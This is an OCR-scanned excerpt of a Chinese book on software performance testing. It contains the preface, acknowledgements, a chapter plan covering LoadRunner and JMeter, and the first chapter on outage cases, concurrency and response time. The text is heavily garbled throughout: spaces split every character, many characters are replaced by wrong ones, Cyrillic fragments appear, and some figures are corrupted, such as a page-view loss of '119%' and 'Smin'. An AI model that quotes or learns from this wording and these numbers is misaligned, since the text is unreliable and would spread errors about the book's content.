国内 软件 测试 行业 人 才 缺 口 已 突破 20 万 ， 并 随 着 需求 的 不 断 欧 升 而 挺 向 30 万 大 关 。 据 悉 ， 国 外 成 熟 软件 企业 ， 一 个 软件 开发 工程 师 对 应 1~2 个 软件 测试 工程 师 ， 而 国内 软件 企业 ， 平 均 8 个 软件 开发 工 
程 师 才 对 应 1 个 软件 测试 工程 师 ， 比 例 严重 失衡 。 国 内 测试 行业 在 这 一 点 上 与 国外 的 差距 比较 大 。 实 际 上 ， 为 了 保证 软件 质量 ， 从 项 目 开 始 测试 人 员 就 要 介入 ， 要 了 解 客户 需求 ， 参 与 项 目 评 审 ， 把 握 测 试 要 
点 。 如 果 测试 人 员 数 量 少 ， 软 件 质 量 是 得 不 到 保证 的 。 测 试行 业 的 确 需要 大 量 人 才 ， 尤 其 是 在 性 能 测试 方面 有 丰富 测试 经 验 的 人 才 更 加 稀缺 。 


男 一 方面 ， 软 件 产业 是 国家 鼓励 发 展 的 朝阳 产业 ， 软 件 产业 要 发 展 ， 提 高 软件 质量 势 在 必 行 ， 这 样 就 产生 了 对 软件 测试 工程 师 的 大 量 需求 。 


由 此 可 见 ， 测 试行 业 需 求 量 大 ， 前 景 好 ， 但 也 面临 激烈 的 竞争 。 所 以 不 断 提 升 自身 技能 ， 并 明确 职业 发 展 方向 对 所 有 人 来 说 就 显得 非常 重要 了 ， 这 样 才能 抓 住 一 切 机 会 。 


为 什么 要 写 这 本 书 


经 常 有 软件 测试 的 同行 和 学 员 向 我 们 咨询 : 自己 读 了 不 少 性 能 测试 的 书籍 和 资料 ， 但 是 仍然 无 法 把 性 能 测试 完全 灵活 地 运用 于 项 目 中 。 经 过 深入 的 交流 后 发 现 ， 大 部 分 都 是 “纸上谈兵 ” 式 的 学 习 所 造 
成 的 。 对 于 求职 者 而 言 ， 人 花费 大 量 精 力学 习 的 知识 没 法 运用 到 项 目 中 ， 十 分 苦恼 ， 同样， 对 于 公司 而 言 ， 高 薪 招 来 的 人 员 无 法 快速 切入 项 目 ， 培 养 成 本 大 大 增加 。 一 本 以 真实 的 项 目 为 核心 ， 融 技术 讲解 于 
项 目 实战 的 性 能 测试 书籍 是 十 分 必要 的 。 


同时 我 们 也 发 现 ， 很 多 书籍 描述 性 能 测试 知识 简单 、 死 板 ， 会 使 大 部 分 读者 感到 枯燥 、 达 味 。 其 实 性 能 测试 的 学 习 是 一 个 很 快乐 的 过 程 ， 其 中 充满 了 挑战 、 惊 险 、 失 望 与 希望 ， 可 以 说 是 痛 并 快乐 着 。 
为 了 最 大 限度 地 提高 阅读 趣味 性 ， 强 化 出 具体 的 实战 测试 内 容 (包括 如 何 发 现 并 解决 性 能 问题 等 ) ， 更 好 地 理解 学 习性 能 测试 ， 本 书 描述 了 一 个 刚 步 入 性 能 测试 领域 的 小 兵 “ 小 白 ” 在 性 能 测试 工作 中 的 学 
习 、 成 长 历程 ， 让 读者 在 充实 而 慨 意 、 严 谨 又 不 失 快 慰 的 氛围 中 掌握 性 能 测试 的 全 部 流程 以 及 性 能 调 优 方法 与 技巧 ! (小兵 成 长 经 历 纯 属 虚 构 ， 如 有 雷同 ， 纯 属 15 合 。) 

很 多 读者 之 所 以 会 步 入 性 能 测试 领域 ， 也 是 因为 职业 发 展 到 了 一 个 瓶颈 期 ， 或 者 是 对 职业 发 展 进 入 了 一 个 迷茫 的 状态 ， 而 市 面 上 缺少 这 种 类 型 的 指导 书籍 。 本 书 最 后 以 真实 的 人 物 经 历 以 及 职业 发 展 两 
个 方面 来 帮助 读者 解答 疑问 ， 在 黑暗 中 点 亮 一 者 灯 。 


最 后 总 结 一 下 ， 本 书 并 不 是 单纯 地 讲解 LoadRunner 工 具 ， 它 只 是 书 中 的 一 部 分 而 已 。 另 外 ， 写 书 不 是 为 了 说 明 自 己 有 多 牛 ， 而 是 知识 经 验 的 总 结 、 梳 理 与 分 享 。 不 论 之 前 大 家 是 否 了 解 性 能 ， 请 耐心 


读 完全 书 ， 你 一 定 会 有 非常 大 的 收获 ， 不 仅仅 是 技术 上 的 。 我 们 也 相信 只 有 更 多 的 分 享 、 交 流 才能 创造 更 大 的 价值 ， 才 能 为 测试 界 的 进步 尽 一 点 绵薄 之 力 。 
本 书 特色 


从 技术 层面 来 讲 ， 性 能 测试 的 复杂 性 是 不 言 而 喻 的 ， 目 前 性 能 测试 一 直 处 于 一 个 只 能 发 现 问题 而 无 法 定位 并 给 出 解决 方案 的 状态 ， 本 书 正 是 为 了 改变 现状 而 诞生 的 。 
从 内 容 层面 来 讲 ， 目 前 很 少 有 此 类 以 全 程 项 目 实战 和 调 优 为 主 的 性 能 测试 类 书籍 ， 实 战 类 型 书籍 向 来 是 比较 受 欢 迎 的 书籍 ， 加 之 内 容 又 以 现实 的 故事 为 穿插 ， 真 实 而 不 枯燥 ， 可 读 性 极 强 。 
从 读者 层面 来 讲 ， 很 多 读者 以 及 大 部 分 学 员 都 没 法 把 知识 、 方 法 和 技巧 应 用 到 实际 项 目 中 ， 存 在 严重 的 “纸上谈兵 ”现象 ， 本 书 将 有 望 解决 此 难题 。 


从 测试 职业 发 展 层面 来 计 ， 技 术 必然 是 重要 的 ， 但 是 职业 的 发 展 规划 也 不 容 忽视 ， 能 避免 少 走 弯路 ， 很 多 读者 都 对 测试 的 发 展 有 疑问 ， 本 书 中 主人 公 人 小 白 的 螺旋 上 升 式 发 展 和 众多 从 业者 实录 会 对 读者 
有 所 启迪 。 


不 论 你 是 否 有 性 能 测试 基础 ， 也 不 论 你 是 否 了 解 性 能 测试 ， 抑 或 是 你 已 经 是 性 能 测试 老手 ， 本 书 都 会 对 你 有 所 帮助 。 包 括 但 不 限于 以 下 读者 : 
< 测试 工程 师 

C 开发 工程 师 

© 运 维 工程 师 

` 测试 经 理 


对 性 能 测试 感 兴趣 的 读者 


如 何 阅读 本 书 
本 书 分 为 四 大 部 分 : 
第 一 篇 (第 1~ 7 章 ) 为 “ 初 入 职场 ”篇 ， 全 面 、 细 致 地 讲解 了 刚刚 步 入 性 能 测试 领域 的 小 白 是 怎么 一 步 步 学 习性 能 测试 的 ， 并 以 实战 方式 讲解 所 有 知识 点 。 


第 1 章 ”本 章 用 实际 例子 深入 浅 出 地 来 讲解 性 能 测试 的 基本 知识 与 模型 ， 带 领 读者 快速 入 门 ， 摆 脱 枯燥 。 

第 2 章 ”本 章 对 LoadRunner 的 脚本 开发 进行 详细 实战 讲解 ， 并 对 重要 知识 点 进行 深入 分 析 总 结 。 

第 3 章 ”本 章 以 LoadRunner 的 Controller 为 引子 ,深入 讲解 实战 中 的 场景 设计 、 资 源 监 控 等 重点 知识 。 

第 4 章 ”本 章 以 真实 案例 为 蓝本 ， 通 过 LoadRunner 的 Analysis 进 行 深入 分 析 ， 并 得 出 性 能 测试 报告 。 

第 5 章 ”介绍 了 开源 性 能 测试 工具 JMeter 的 基本 使 用 ， 并 结合 HTTP、JDBC、SAOP 的 实际 例子 演示 了 JMeter 参 数 化 、 关 联 、 检 查 点 的 基本 使 用 方法 。 

жон ”本 章 简单 介绍 了 开源 性 能 测试 工具 Apache ab 的 基本 使 用 方法 ， 方 便 大 家 开阔 视野 。 

第 7 章 ”本 章 主 要 对 常用 的 脚本 协议 开发 进行 了 全 面 、 深 入 的 实战 讲解 ， 以 具体 的 例子 演示 实际 应 用 。 

第 二 篇 (第 8 章 ) 为 “新 硬 初 试 ”篇 ， 重 点 以 实战 方式 讲解 在 .NET 项 目 中 如 何 进行 性 能 测试 以 及 性 能 调 优 ， 并 把 所 有 知识 点 融合 到 项 目 中 ， 使 读者 更 好 地 理解 并 应 用 ， 摆 脱 无 趣 的 理论 。 
第 8 章 “本章 以 .NET 项 目的 案例 为 基础 ， 全 面 讲解 了 完整 的 性 能 测试 项 目 是 如 何 进行 的 ， 把 以 往 的 知识 点 再 次 融入 到 实战 中 。 


第 三 篇 (第 9 章 、 第 10 章 ) 为 “再 圳 锋芒 ”篇 ， 重 点 以 实战 方式 讲解 Java 项 目的 性 能 测试 ， 通 过 真实 的 、 完 整 的 项 目 使 读者 身 临 其 境地 体会 性 能 测试 、 性 能 调 优 、 安 全 测试 以 及 最 佳 流程 实践 等 。 


第 9 章 “本章 用 一 个 实际 的 项 目 完 整地 介绍 了 真正 的 前 沿 互联 网 公司 项 目 实战 是 怎么 做 的 ， 用 真实 例子 带领 大 家 了 解 真正 前 沿 的 性 能 测试 思想 。 
第 10 章 ”本章 全 面 讲解 了 安全 测试 的 原理 ， 并 结合 常用 的 安全 测试 工具 进行 了 实战 演示 。 


第 四 篇 (第 11 章 、 第 12 章 ) 为 “ 反 躬 自省 ”篇 ， 以 真实 的 在 职 人 物 的 学 习 历 程 、 心 得 以 及 方法 做 交流 实录 ， 再 次 以 事实 指导 读者 ， 并 针对 现状 来 分 析 测 试 人 员 的 职业 发 展 ， 指 导读 者 的 选择 与 提升 路 


第 11 章 ”本 章 讲述 了 真实 人 物 在 面 对 转 型 、 提 升 过 程 中 的 奋斗 历程 ， 以 最 淳朴 的 思想 感动 你 我 。 
第 12 章 ”本 章 从 职业 发 展 角度 全 面 剖 析 测 试行 业 的 点 点 滴 滴 ， 为 所 有 测试 人 员 解 惑 并 给 出 指导 建议 。 


其 中 第 二 、 三 篇 以 实战 项 目 来 讲解 性 能 测试 的 应 用 ， 如 果 你 是 一 名 有 一 定 基础 的 性 能 测试 工程 师 ， 那 么 你 可 以 直接 阅读 这 部 分 内 容 。 但 是 如 果 你 是 一 名 初学 者 ， 请 一 定 从 第 一 部 分 开始 学 习 。 如 果 你 目 
前 对 自己 的 工作 有 迷茫 之 处 或 想得到 职业 发 展 上 的 指导 ， 可 看 第 四 篇 。 本 书 为 读者 提供 了 完整 的 流程 以 及 细致 的 解决 方案 ， 也 能 看 到 小 白 的 成 长 与 不 足 ， 这 也 许 正 是 你 的 真实 写照 。 


附录 总 结 了 LoadRunner 常 见 的 问题 以 及 解决 方法 ， 让 你 不 必 再 四 处 求助 。 同 时 也 为 对 编写 报告 文档 感到 很 头疼 的 读者 提供 了 各 类 参考 模板 。 
勘误 和 支持 


由 于 笔者 的 水 平 有 限 ， 编 写 时 间 仓促 ， 书 中 难免 会 出 现 一 些 错 误 或 者 不 准确 的 地 方 ， 有 恳请 读者 批评 指正 。 你 可 以 将 书 中 的 错误 发 布 在 BestTest 网 站 (http://www.besttest.cn) ， 同 时 如 果 你 遇 到 任何 
问题 ， 也 可 以 加 入 我 们 的 QQ 群 : 249854093, 我们 将 尽量 在 线 上 为 读者 提供 最 满意 的 解答 。 如 果 你 有 更 多 的 宝贵 意见 ， 也 欢迎 发 送 邮 件 至 besttest@foxmail.com， 期 待 能 够 得 到 你 们 的 真挚 反馈 。 


致谢 
本 书 由 赵强 、 邹 伟 伟 、 任 健 勇 撰写 ， 其 中 ， 赵 强 写 了 第 1、2、3、4、7、8、11、12 章 ; 邹 伟 伟 写 了 第 5、6、9 章 ; 任 健 勇 写 了 第 10 章 。 
感谢 广大 读者 对 三 个 老 男人 的 支持 ， 你 们 的 支持 与 热情 才 是 我 们 写 这 本 书 的 最 大 动力 。 
感谢 机 械 工业 出 版 社 华章 公司 的 杨 福 川 和 高 婧 获 ， 在 这 段 时 间 中 始终 支持 我 们 的 写作 ， 你 们 的 鼓励 和 帮助 使 得 我 们 能 顺利 完成 全 部 书稿 。 
特别 感谢 BestTest 的 所 有 学 员 给 我 们 提供 了 不 少 宝 贵 的 建议 与 意见 ， 使 得 本 书 更 加 通俗 易 懂 且 有 趣味 性 。 
最 后 ， 谨 以 此 书 献 给 支持 我 们 的 小 伙伴 们 以 及 广大 测试 同仁 ， 谢 谢 你 们 的 一 路 支持 与 伴随 ! 


赵强 ЗАБ Е 


第 一 篇 ”切入 职场 


小 白 多 年 一 直 勤 勤 尽 尽 地 奋斗 在 测试 行业 ， 但 始终 每 天 重复 着 黑 盒 功能 测试 ， 虽 然 自学 过 一 些 其 他 测试 技能 ,但 总 感觉 不 系统 ， 自 己 也 深 感 职业 发 展 到 了 新 贷 期 ， 希 望 能 有 所 突破 ， 于 是 他 开始 查阅 资 
料 ， 无 意 间 发 现 了 BestTest 这 样 一 个 网 站 ， 里 面 有 不 少 好 资料 ， 经 过 一 段 时 间 的 考虑 ， 决 定向 性 能 测试 的 方向 发 起 突击 ， 希 望 早日 突破 自己 的 瓶颈 ! 


说 来 也 巧 ， 这 时 候 收 到 经 理 的 一 封 邮件 ， 内 容 如 下 。 
亲爱 的 小 白 : 


随 着 公司 与 产品 的 发 展 ， 我 们 的 测试 技术 与 手段 也 要 与 时 俱 进 ， 所 以 准备 在 后 续 项 目 中 增加 性 能 测试 ， 而 这 方面 我 们 没有 技术 储备 ， 硕 望 你 能 承担 起 这 个 任务 ， 抓 紧 时 间 学 习性 能 测试 ， 争 取 早 日 应 用 
到 我 们 的 项 目 里 。 不 知 你 是 否 愿 意 接受 这 个 挑战 ? 


这 么 好 的 机 会 小 白 咕 能 放 过 ， 于 是 小 白 锁 然 决然 地 接受 任务 并 信心 满 满 地 开始 了 性 能 测试 学 习 之 旅 。 


第 1 章 ”与 性 能 测试 的 杀 密 触 三 


性 能 测试 的 挑战 性 和 趣味 性 小 白 早 有 和 耳闻， 也 会 经 常 听 到 各 个 公司 因为 系统 性 能 而 引发 的 一 系列 严重 问题 ， 所 以 性 能 测试 会 越 来 越 受到 重视 ， 只 是 时 间 的 问题 。 下 面 就 让 我 们 和 小 白 先 来 了 解 下 性 能 测 
试 的 趣事 ， 再 一 同学 习性 能 测试 的 基本 知识 。 


1.1 性 能 测试 的 作用 以 及 重要 性 


随 着 社会 的 发 展 ， 用 户 对 产品 的 要 求 也 越 来 越 高 ， 以 前 可 能 看 重 功 能 方面 ， 现 在 正在 逐步 转变 为 性 能 方面 ， 同 时 各 大 公司 也 加 强 了 产品 的 性 能 测试 ， 因 为 从 这 几 年 发 生 的 事件 来 看 ， 性 能 带 来 的 严重 问 
题 以 及 损失 不 容 忽 视 ， 而 性 能 测试 的 重要 性 也 不 言 而 喻 。 
1.1.1 由 性 能 引发 的 严重 问题 

小 白 印 象 中 由 性 能 引发 的 严重 问题 历历 在 目 ， 大 部 分 都 是 由 于 没有 做 性 能 测试 、 性 能 测试 做 得 不 充足 或 者 对 并 发 以 及 流量 的 预 佑 不 正确 导致 。 


【案例 1】2008 年 的 奥运 会 票务 系统 ， 由 于 庞大 的 订 票 人 数 超出 预期 ， 奥 运 票 务 系统 “开工 ”后 不 久 便 陷 入 “瘫痪 ”状态 ， 当 时 对 外 公布 的 是 奥运 票务 系统 每 小 时 能 处 理 15 万 张 门票 的 销售 ， 以 及 承担 
每 小 时 100 万 次 以 上 的 网 上 浏览 量 ， 但 10 月 30 日 系统 死机 前 每 小 时 的 网 上 浏览 量 达到 800 万 ，1 小 时 售 出 的 票 也 达到 了 20 万 张 。 由 于 预 估 工作 的 缺陷 ， 导 致 很 多 人 无 法 通过 网 络 订 到 自己 想 要 的 票 ， 影 响 了 很 
多 人 的 热情 ， 也 损害 了 国家 形象 。 


【案例 2】 作 为 电 商 的 代表 ，2009 年 11 月 22 日 ，eBay 网 站 出 现 死机 ， 导 致 卖家 至 少 损失 了 当日 销售 额 的 80%， 原 因 是 那 年 圣诞 临近 时 ，eBay 网 站 上 有 超过 2 亿 件 待 售 商品 ， 这 个 数字 比 上 一 年 同期 多 出 


33%， 正 是 这 激增 的 33% 的 待 售 商品 导致 eBay 网 站 不 堪 重 负 而 死机 ，80% 的 销售 额 对 于 eBay 来 说 不 可 谓 不 严重 。 


【案例 3】 魔 兽 世 界 在 中 国 的 代理 商 由 九 城 变 更 为 网 易 ， 与 九 城 服务 器 经 常 死机 不 无 关系 ， 但 是 换 作 网 易 后 ， 服 务 器 也 经 常 死机 。2010 年 10 月 11 日 ， 魔 兽 世界 服务 器 故障 时 ， 官 网 论坛 上 的 游戏 玩家 纷 
纷 友 “ 贺 词 ” 表 示 不 满 ， 从 这 可 以 看 出 网 易 公司 对 魔兽 世界 的 性 能 预 估 存 在 不 足 。 也 正 是 因为 对 性 能 严重 忽视 间接 导致 了 九 城 在 失去 魔兽 世界 之 后 ， 从 一 家 土豪 公司 成 了 一 家 几乎 被 人 遗忘 的 公司 。 


【案例 4】 视 频 网 站 优酷 网 也 在 2010 年 发 生死 机 事件 ， 超 过 3 小 时 无 法 访问 。 优 酷 对 外 宣称 的 原因 是 : 此 次 死机 事件 起 源 于 “地 球 一 小 时 ”活动 ， 优 酷 网 为 响应 这 次 活动 ， 全 站 采用 关 灯 模式 ， 意 在 借 此 
提醒 网 民 注重 环保 与 节约 。 但 此 举 令 网 友 一 时 无 法 适应 ， 大 量 网友 频 繁 刷新 页 面 导 致 优酷 网 服务 器 骨 溃 。 


【案例 5】2010 年 ， 中 国 最 大 的 微 博 平台 新 浪 微 博 死机 4 小 时 ， 新 浪 官方 解释 说 : 之 所 以 掉 线 几 小 时 ， 是 因为 用 户 增长 超出 预期 ， 服 务 器 备 感 压力 。 自 上 午 10 点 起 ， 用 户 无 法 登录 ， 新 浪 的 报错 页 面 几 次 
更 改 ， 最 初 的 “ 微 博 正在 升级 ， 将 于 11:30 恢 复 ”， 然 后 改 为 “12:00 恢 复 ”， 过 了 一 段 时 间 ， 干 脆 改 为 “ 稍 后 恢复 ”， 然 而 ， 估 计 是 看 不 到 恢复 希望 ， 提 示 信 息 又 改 为 “ 微 博 系统 压力 过 大 正在 抢修 ， 我 们 
深 表 歉意 ”。 翡 剧 的 是 “ 教 意 ”竟然 写成 了 “说 意 ”， 这 件 事 遭 到 网 友 的 大 量 恶搞 ， 小 白 也 是 参与 者 之 一 。 

1.1.2 ”性 能 测试 的 重要 性 以 及 必要 性 

根据 2008 年 Aberdeen Group 的 研究 报告 表明 ，Web 网 站 1s 的 页 面 加 载 延 迟 相当 于 少 了 119% 的 PV， 相 当 于 降低 了 16% 的 顾客 满意 度 。 如 果 从 金钱 的 角度 计算 ， 就 意味 着 : 如 果 一 个 网 站 每 天 挣 10 万 
元 ， 那 么 一 年 下 来 ， 由 于 页 面 加 载 速 度 比 竞争 对 手 慢 1s， 可 能 导致 总 共 损失 25 万 元 的 销售 额 。 

Compuware 公 司 分 析 了 超过 150 个 网 站 和 150 万 个 浏览 页 面 ， 发 现 页 面 响应 时 间 从 2s 增 长 到 10s， 会 导致 38% 的 页 面 浏览 放弃 率 。 


Radware 也 曾 发 布 一 份 题 为 “行业 现状 : 2013 年 春季 电 商 页 面 速度 与 Web 性 能 ”的 调查 报告 。 报 告 指出 ， 仪 一 年 时 间 内 ， 美 国 前 2000 家 领先 的 在 线 零售 商 网 站 的 加 载 时 间 较 去 年 同期 减 慢 了 22%， 网 
站 性 能 急剧 下 降 ， 用 户 体验 质量 大 幅 下 降 。 对 网 站 回访 率 、 跳 出 率 、 客 户 满 意 度 及 在 线 收入 等 多 个 关键 业务 指标 的 影响 越 来 越 大 ， 对 在 线 零售 商 而 言 ， 网 站 加 载 速度 已 经 成 为 制约 其 发 展 的 重要 因素 ,提升 
Web 性 能 已 经 刻不容缓 。 


2014 年 中 国电 子 商 务 研究 中 心 发 布 对 电 商 网 站 的 调查 报告 ， 报 告 中 指出 用 户 对 网 站 响应 时 间 的 要 求 很 严 苛 ， 期 望 立刻 做 出 响应 的 占 90%， 期 望 Smin 内 做 出 响应 的 占 10%。 


从 上 面 的 研究 分 析 再 结合 小 白 印 象 中 列举 的 例子 可 以 看 出 ， 性 能 测试 非常 重要 也 非常 必要 ， 因 为 性 能 问题 不 仅仅 会 损害 公司 的 形象 ， 也 会 造成 公司 资金 方面 的 损失 。 


113 ”什么 系统 需要 做 性 能 测试 


小 白 刚 接触 到 “什么 系统 需要 做 性 能 测试 ”这 个 问题 的 时 候 ， 心 里 在 想 应 该 是 大 型 的 系统 、 软 件 才 需要 做 性 能 测试 ， 如 果 只 是 几 个 人 用 就 没有 必要 了 。 可 仔细 想 想 ， 小 白 党 得 应 该 是 所 有 系统 、 软 件 都 
应 该 做 性 能 测试 ， 关 键 是 要 思考 应 该 做 到 什么 程度 ， 而 不 是 做 不 做 的 问题 。 因 为 就 算是 一 个 人 在 使 用 某 个 系统 ， 但 该 系统 的 查询 性 能 极 差 ， 一 次 查询 需要 50 多 秒 钟 ， 这 绝对 是 任何 人 都 难以 接受 的 。 


接着 小 白 对 现 有 的 系统 进行 了 分 类 ， 大 致 分 为 单机 系统 、C/S、B/S。 这 3 类 系统 都 应 该 进行 性 能 测试 ， 只 是 每 个 分 类 有 各 自 特 点 ， 在 实际 测试 中 应 该 有 不 同 策略 进行 应 对 。 

一 般 C/S 染 构 的 应 用 程序 更 关注 于 系统 资源 使 用 情况 、 数 据 库 性 能 以 及 运行 的 配置 要 求 等 。 例 如 ， 内 存 、 用 户 连接 数 、 数 据 库 死 锁 、 数 据 库 cache 命 中 率 、 运 行 的 最 低 配 置 等 。 

而 对 于 B/S 染 构 的 应 用 程序 ， 会 关注 Web 服 务 器 的 相关 指标 ， 如 每 秒 点 击 数 、 吞 吐 量 、 尝 试 连接 数 、 事 务 成 功率 等 。 

如 下 几 个 案例 分 别针 对 典型 的 系统 进行 了 说 明 。 

【案例 1】 假 设 使 用 Word 来 编辑 一 个 1000 多 页 的 文档 ， 该 文档 包含 了 丰富 的 图 表 、 图 片 ， 需 要 等 竺 系统 花 多 少 秒 的 时 间 进 行 处 理 。 这 时 需要 关注 性 能 响应 。 

【案例 2】 某 业务 系统 属于 二 次 开发 ， 之 前 没有 做 过 性 能 测试 ， 当 并 发 100 个 用 户 时 就 会 造成 数据 库 服务 器 崩溃 。 这 是 很 明显 的 性 能 问题 。 

【案例 3】 某 企业 内 部 信息 系统 ， 使 用 人 比较 少 ， 但 并 发 时 会 出 现 重复 的 相同 记录 。 这 种 场景 很 难 在 功能 测试 时 出 现 ， 所 以 有 时 候 性 能 测试 并 不 是 只 能 发 现 性 能 问题 。 

【案例 4】 面 向 广大 互联 网 人 群 的 网 站 ， 每 天 都 需要 接受 大 量 的 访问 请 求 ， 服 务 器 压力 大 ， 对 这 样 的 系统 进行 性 能 测试 是 十 分 必要 的 。 

其 中 B/S 架 构 的 系统 会 比较 复杂 ， 小 白 接 到 的 正好 是 B/s 的 项 目 ， 看 来 这 下 需要 学 习 一 番 了 。 
1.1.4 “性 能 测试 的 目的 

很 多 第 一 次 接触 性 能 测试 的 人 都 会 把 功能 测试 的 思想 带 入 ， 造 成 思维 的 局 限 。 其 实 性 能 测试 还 是 与 功能 测试 有 所 不 同 的 。 性 能 测试 更 加 关注 系统 的 性 能 表现 ， 也 就 是 How fast 和 How much。 而 做 性 能 
测试 就 是 排除 系统 瓶颈 ,使 得 它 表现 得 更 好 、 更 霸气 。 可 以 从 以 下 几 个 方面 来 理解 。 

1) 评估 当前 系统 。 系 统 示 做 过 任何 性 能 测试 ， 对 系统 的 当前 性 能 情况 不 了 解 ， 就 好 像 没有 体检 过 就 不 知道 自己 的 身体 状况 一 样 。 而 此 前 说 到 的 一 系列 性 能 引发 的 严重 问题 也 正 是 由 于 缺少 了 必要 的 性 能 
评估 而 导致 。 

2) 寻找 瓶颈 ， 优 化 性 能 。 常 见 的 现象 为 ， 某 业务 操作 响应 时 间 很 长 、 某 系统 上 线 一 段 时 间 后 运行 越 来 越 慢 ， 这 些 都 需要 逐步 分 析 定 位 并 调 优 。 


3) 预测 未 来 性 能 。 当 用 户 数 和 业务 量 增加 时 能 否 及 时 应 对 ? 如 何 调 整 ? 是 增加 应 用 服务 器 ， 还 是 数据 库 服务 器 ? 还 是 要 优化 代码 逻辑 ? 这 一 系列 问题 都 值得 我 们 深思 ， 这 也 是 性 能 测试 的 目的 所 在 。 回 
想 1.1.1 节 中 的 eBay 不 就 是 最 好 的 例子 吗 。 


1.2 ”生活 中 的 性 能 测试 


小 白 对 性 能 测试 有 所 了 解 后 ， 不 自觉 地 联想 到 了 实际 生活 中 的 现象 ， 他 突然 发 现 原来 性 能 无 处 不 在 。 每 天 上 下 班 的 高 峰 ， 不 论 是 地 铁 ， 还 是 公交 车 都 反映 了 交通 的 性 能 状况 。 就 拿 地 铁 来 说 ， 上 下 班 高 
峰 期 进 站 就 是 出 现 了 严重 的 性 能 问题 ， 表 现 为 缓慢 、 堵 塞 、 拥 挤 甚至 打架 ! 对 于 性 能 测试 来 说 不 也 是 这 样 的 吗 ” 小 白 继续 思考 着 ， 缓 解 地 铁 压 力 的 方式 无 非 就 是 限 流 ， 增 加 通道 、 发 车 频率 、 列 车 长 度 和 进 
站 路 径 复杂 度 等 ， 这 似乎 又 能 和 性 能 测试 挂 上 钩 了 。 

再 想 想 让 我 们 又 爱 又 恨 的 12306。 这 简直 就 是 一 个 活生生 的 例子 ， 网 站 页 面 响应 很 慢 ， 碍 火车 票 更 慢 ， 下 单 还 经 常 失 败 ， 服 务 死机 更 是 家 常 便 饭 ， 小 白 越 想 越 气 ， 起 早 贪 黑 地 抢 票 ， 每 次 都 空手 而 归 。 
小 白 想 如 果 对 产品 设计 、 开 发 、 测 试 、 运 维 部 署 中 的 每 个 点 都 进行 优化 ， 也 许 就 会 比 现在 的 情况 好 很 多 。 比 如 ， 页 面 设 计 简 洁 ， 去 掉 那 些 人 花哨 的 元 素 ， 对 后 端的 业务 进行 拆 分 ; 把 火车 票 的 数据 分 区 ， 并 放 
在 各 个 省 市 等 。 理 想 很 丰满 ， 但 现实 很 骨 感 。 不 过 小 白 也 明白 了 一 点 : 学 习性 能 测试 多 与 实际 生活 中 的 现象 进行 类 比 更 容易 理解 。 


13 ”性 能 术语 与 指标 详解 


小 白 理解 了 性 能 测试 后 就 开始 了 性 能 测试 基本 概念 的 学 习 ， 首 要 任务 就 是 深入 理解 重要 的 术语 和 指标 ， 因 为 对 这 些 术 语 和 指标 的 理解 是 否 深入 、 透 彻 ， 将 直接 影响 后 续 的 学 习 效果 。 
1. 并 上 友 数 


在 理解 并 发 数 之 前 ， 先 提出 3 个 常见 的 概念 是 系统 用 户 数 、 在 线 用 户 数 和 并 发 用 户 数 。 小 白 发 现 很 多 人 都 会 把 这 3 个 概念 混淆 ， 其 实 是 不 一 样 的 。 以 BestTest 的 论坛 作为 例子 ， 对 应 的 解释 分 别 如 
T: 


. 系统 用 户 数 : 简单 地 说 就 是 该 系统 的 注册 用 户 数 。 例 如 ，BestTest 论 坛 里 存在 6666 个 注册 用 户 ， 他 们 可 以 是 活路 的， 也 可 以 是 僵尸 的 。 
ЖЕЖ Р: 即 登 录 系 统 的 用 户 。 ， 其 中 有 666 个 用 户 的 状态 为 在 线 ， 但 在 线 用 户 并 不 一 定 都 会 对 服务 器 产生 压力 ， 因 为 有 的 用 户 登 录 后 什么 都 不 干 。 
. 并 发 用 户 数 : 是 对 服务 器 产生 压力 的 用 户 。 例 如 ， 可 能 在 线 的 666 个 用 户 中 ， 只 有 20% 的 用 户 对 服务 器 产生 了 压力 ， 这 20% 的 用 户 数 就 是 并 发 用 户 数 。 


那 为 什么 要 关注 并 发 用 户 数 而 不 是 其 他 用 户 数 呢 ? 上 面 已 经 提 到 过 ， 最 直接 的 原因 就 是 只 有 并 发 用 户 数 才 对 系统 产生 真正 的 压力 。 就 好 像 一 个 人 提 1 斤 的 东西 不 觉得 重 ， 但 是 提 150 斤 的 东西 ， 那 可 就 难 
以 提 动 了 。 


在 实际 应 用 中 ， 并 发 数 可 以 通过 分 析 服 务 器 日 志 得 以 确定 ， 这 种 方式 更 加 准确 。 一 般 常 用 的 日 志 分 析 工 具有 AWStats、Webalizer、Analog、Deep Log Analyzer 等 。 也 可 以 通过 业界 的 一 些 计算 模型 


得 到 ， 后 续 章节 中 会 学 习 。 


这 里 再 延伸 一 下 并 发 的 概念 。 一 般 有 两 种 理解 方式 : 一 种 为 所 有 用 户 在 同一 时 刻 做 同一 种 操作 ， 主 要 是 为 了 验证 程序 或 数据 库 对 并 发 的 处 理 能 力 ; 另 一 种 为 多 个 用 户 对 被 测 系统 发 起 了 多 个 请 求 ， 这 些 
请 求 可 以 是 同一 种 操作 ， 也 可 以 是 不 同 的 操作 ， 类 似 于 混合 场景 的 概念 


2. 响 应 时 间 
小 白 通 过 查找 资料 发 现 ， 大 部 分 资料 都 是 说 “响应 时 间 = 网 络 响 应 时 间 + 应 用 程序 响应 时 间 ” 诸 如 此 类 的 解释 。 小 白 一 时 间 有 点 摸 不 着 头脑 。 于 是 ， 静 下 心 来 开始 认真 分 析 、 研 究 。 


我 们 可 以 换个 角度 去 看 待 这 个 概念 。 首 先 从 大 的 方向 上 可 以 把 一 个 系统 分 为 前 端 与 后 端 ， 而 响应 时 间 也 可 以 按照 这 个 划分 来 理解 。 让 我 们 先 看 图 1-1 再 来 理解 。 
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通过 图 1-1 可 以 清楚 地 看 出 在 没有 缓存 的 情况 下 ， 一 个 请 求 发 出 去 后 ， 需 要 经 过 网 络 传输 、DNS 解 析 等 步骤 才能 到 达 服 务 器 ， 服 务 器 处 理 完 后 ， 经 由 网 络 传输 返回 给 客户 端 ， 而 客户 端 接收 到 以 后 ， 要 
进行 解析 演 染 展示 给 用 户 。 这 里 需要 注意 ， 网 络 时 间 包 括 请 求 传输 的 时 间 和 响应 传输 的 时 间 ， 而 服务 器 也 可 能 是 多 层 处 理 。 


这 下 逻辑 就 非常 清楚 了 ， 可 以 总 结 为 : 响应 时 间 = 网 络 传输 (请 求 ) 时 间 + 服 务 器 处 理 (一 层 或 多 层 ) 时 间 + 网 络 传输 (响应 ) 时 间 + 页 面前 端 解析 演 染 时 间 。 小 白 终 于 明白 响应 时 间 背 后 的 来 龙 去 脉 


